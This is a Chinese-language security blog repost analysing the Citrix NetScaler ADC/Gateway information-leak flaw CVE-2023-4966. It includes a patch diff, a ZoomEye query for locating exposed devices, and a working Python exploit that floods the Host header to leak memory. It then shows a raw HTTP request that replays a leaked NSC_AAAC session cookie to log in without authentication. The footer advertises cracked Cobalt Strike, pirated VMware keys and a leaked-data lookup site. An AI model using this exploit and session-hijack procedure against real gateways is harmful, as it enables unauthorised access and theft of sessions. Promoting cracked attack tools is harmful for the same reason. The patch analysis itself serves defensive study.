查看原文
其他

Citrix NetScaler ADC & Gateway(CVE-2023-4966)信息泄露漏洞

影响厂商:美国思杰(Citrix)公司

厂商官网地址:https://www.citrix.com/

漏洞说明:NetScaler ADC 和 NetScaler Gateway 是美国思杰(Citrix)公司的产品。

Citrix Gateway 是一套安全的远程接入解决方案,可提供应用级和数据级管控功能,以实现用户从任何地点远程访问应用和数据

Citrix ADC 是一个全面的应用程序交付和负载均衡解决方案,用于实现应用程序安全性、整体可见性和可用性。在 Citrix 设备设置为网关(VPN 虚拟服务器、ICA 代理、CVPNRDP 代理)或 AAA 虚拟服务器的情况下,可以通过访问 /oauth/idp/.well-known/openid-configuration 路由并往 HOST 字段发送大量数据从而泄露缓冲区信息,其中可能包含 session cookie 相关信息,攻击者可以借助该信息无需经过身份验证实现访问

zoomeye搜索语法:app:"Citrix NetScaler Access Gateway"

漏洞概述

漏洞编号:CVE-2023-4966

影响的版本:

NetScaler ADC 和 NetScaler Gateway 14.1 < 14.1-8.50
NetScaler ADC 和 NetScaler Gateway 13.1 < 13.1-49.15
NetScaler ADC 和 NetScaler Gateway 13.0 < 13.0-92.19
NetScaler ADC 13.1-FIPS < 13.1-37.164
NetScaler ADC 12.1-FIPS < 12.1-55.300
NetScaler ADC 12.1-NDcPP < 12.1-55.300

漏洞分析详情

我们选择 NetScaler Gateway 的 13.1-49.15 和 13.1-48.47 两个版本进行分析,主要关注其 /netscaler/nsppe 二进制文件的相关补丁,该文件是 NetScaler 数据包处理引擎,它包含完整的 TCP/IP 网络堆栈以及多个 HTTP 服务

通过分析,最终确定与漏洞相关的函数为:ns_aaa_oauth_send_openid_config 和 ns_aaa_oauthrp_send_openid_config,更新前后代码的主要差异如下

更新前:

iVar3 = snprintf(print_temp_rule,0x20000,
               "{\"issuer\": \"https://%.*s\", \"authorization_endpoint\": \"https://%.*s/oauth/ idp/login\", \"token_endpoint\": \"https://%.*s/oauth/idp/token\", \"jwks_uri\":  \"https://%.*s/oauth/idp/certs\", \"response_types_supported\": [\"code\", \"toke n\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end _session_endpoint\": \"https://%.*s/oauth/idp/logout\", \"frontchannel_logout_sup ported\": true, \"scopes_supported\": [\"openid\", \"ctxs_cc\"], \"claims_support ed\": [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\", \"acr\", \"amr \", \"email\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoin t\": \"https://%.*s/oauth/idp/userinfo\", \"subject_types_supported\": [\"public\"]}"
               ,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
authv2_json_resp = 1;
iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,iVar3);

更新后:

uVar7 = snprintf(print_temp_rule,0x20000,
               "{\"issuer\": \"https://%.*s\", \"authorization_endpoint\": \"https://%.*s/oauth/ idp/login\", \"token_endpoint\": \"https://%.*s/oauth/idp/token\", \"jwks_uri\":  \"https://%.*s/oauth/idp/certs\", \"response_types_supported\": [\"code\", \"toke n\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end _session_endpoint\": \"https://%.*s/oauth/idp/logout\", \"frontchannel_logout_sup ported\": true, \"scopes_supported\": [\"openid\", \"ctxs_cc\"], \"claims_support ed\": [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\", \"acr\", \"amr \", \"email\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoin t\": \"https://%.*s/oauth/idp/userinfo\", \"subject_types_supported\": [\"public\"]}"
               ,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
uVar4 = 0x20;
if (uVar7 < 0x20000) {
    authv2_json_resp = 1;
    iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,uVar7);
    ...
}

该代码段落在访问 /oauth/idp/.well-known/openid-configuration 路由的时候将被调用,其逻辑是通过调用 snprintf() 函数构造一个 json 数据并通过 ns_vpn_send_response() 函数形成 http response 返回给用户,这个 json 数据中拼接了来自 http 请求的 HOST 字段的数据

正常访问 /oauth/idp/.well-known/openid-configuration 路由的返回界面如下:

snprintf() 函数虽然通过第二个参数限制了 print_temp_rule 对应的字符串的最大长度,但是 snprintf() 函数的返回值却是 完成 format 之后预期的字符串的长度,也就是说即使第二个参数为 0x20000snprintf() 函数的返回值可以大于 0x20000

ns_vpn_send_response() 函数的第四个参数决定了读取的内存大小,这就意味着紧跟在 print_temp_rule 变量之后的缓冲区中的信息能够被带入 response 当中

从上面的分析可以想到,攻击者能够在访问 /oauth/idp/.well-known/openid-configuration 路由时往 Host 字段插入大量数据,从而使得返回的 response 中带上缓冲区信息,导致信息泄露

漏洞利用脚本

import requests
from urllib.parse import urljoin

url = "https://ip:port"

headers = {"Host""a"*24578}
try:
    r = requests.get(urljoin(url,"/oauth/idp/.well-known/openid-configuration"), headers=headers, verify=False,timeout=10)
    print(r.status_code)
    if len(r.content) > 0:
        with open("resp.txt","wb"as f:
            f.write(r.content)
except Exception as e:
    print(e)

在 response 中可能会包含长度为 65 或 32 的 session cookie,比如:

5e588bab9a60e4831bc1da8ade46d78b0c3a01c3a45525d5f4f58455e445a4a42

攻击者可以借助该信息无需经过身份验证实现系统的访问:

GET /logon/LogonPoint/Authentication/GetUserName HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: NSC_AAAC=5e588bab9a60e4831bc1da8ade46d78b0c3a01c3a45525d5f4f58455e445a4a42
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

漏洞影响

NetScaler ADC 和 NetScaler Gateway 14.1 < 14.1-8.50
NetScaler ADC 和 NetScaler Gateway 13.1 < 13.1-49.15
NetScaler ADC 和 NetScaler Gateway 13.0 < 13.0-92.19
NetScaler ADC 13.1-FIPS < 13.1-37.164
NetScaler ADC 12.1-FIPS < 12.1-55.300
NetScaler ADC 12.1-NDcPP < 12.1-55.300

前提条件:为了利用该漏洞,Citrix 设备必须设置为网关(VPN 虚拟服务器、ICA 代理、CVPNRDP 代理)或 AAA 虚拟服务器

修复方案

官方最新版本已修复此漏洞

下载地址为:

https://www.citrix.com/downloads/citrix-adc/
https://www.citrix.com/downloads/citrix-gateway/


本文作者:1710499840122047原文地址:https://xz.aliyun.com/t/13031


关注公众号后台回复 0001 领取域渗透思维导图,0002 领取VMware 17永久激活码,0003 获取SGK地址,0004 获取在线ChatGPT地址,0005 获取 Windows10渗透集成环境,0006 获取 CobaltStrike 4.9.1破解版


加我微信好友,邀请你进交流群





往期推荐



对某金融App的加解密hook+rpc+绕过SSLPinning抓包

疑似境外黑客组织对CSDN、吾爱破解、bilibili等网站发起DDoS攻击

Fofa新产品 - 绕CDN溯源真实IP!

Cobalt Strike 4.8 正式发布上线!

团队在线Windows进程识别正式内测

突发!微信疑似存在RCE

对某app的加密定位与hook

《永结无间》客户端RCE漏洞

NSA组织"二次约会"间谍软件功能复现及加解密分析

发现新恶意团伙"紫狐"!针对finalshell的供应链事件

APK逆向分析入门-以某斗地主APP为例

APK逆向分析入门-以某车载音乐APP为例

记一次渗透中因为JS拿下整个云

记一次红队经历

日常记录对某站点的实战渗透

备用号,欢迎关注


继续滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存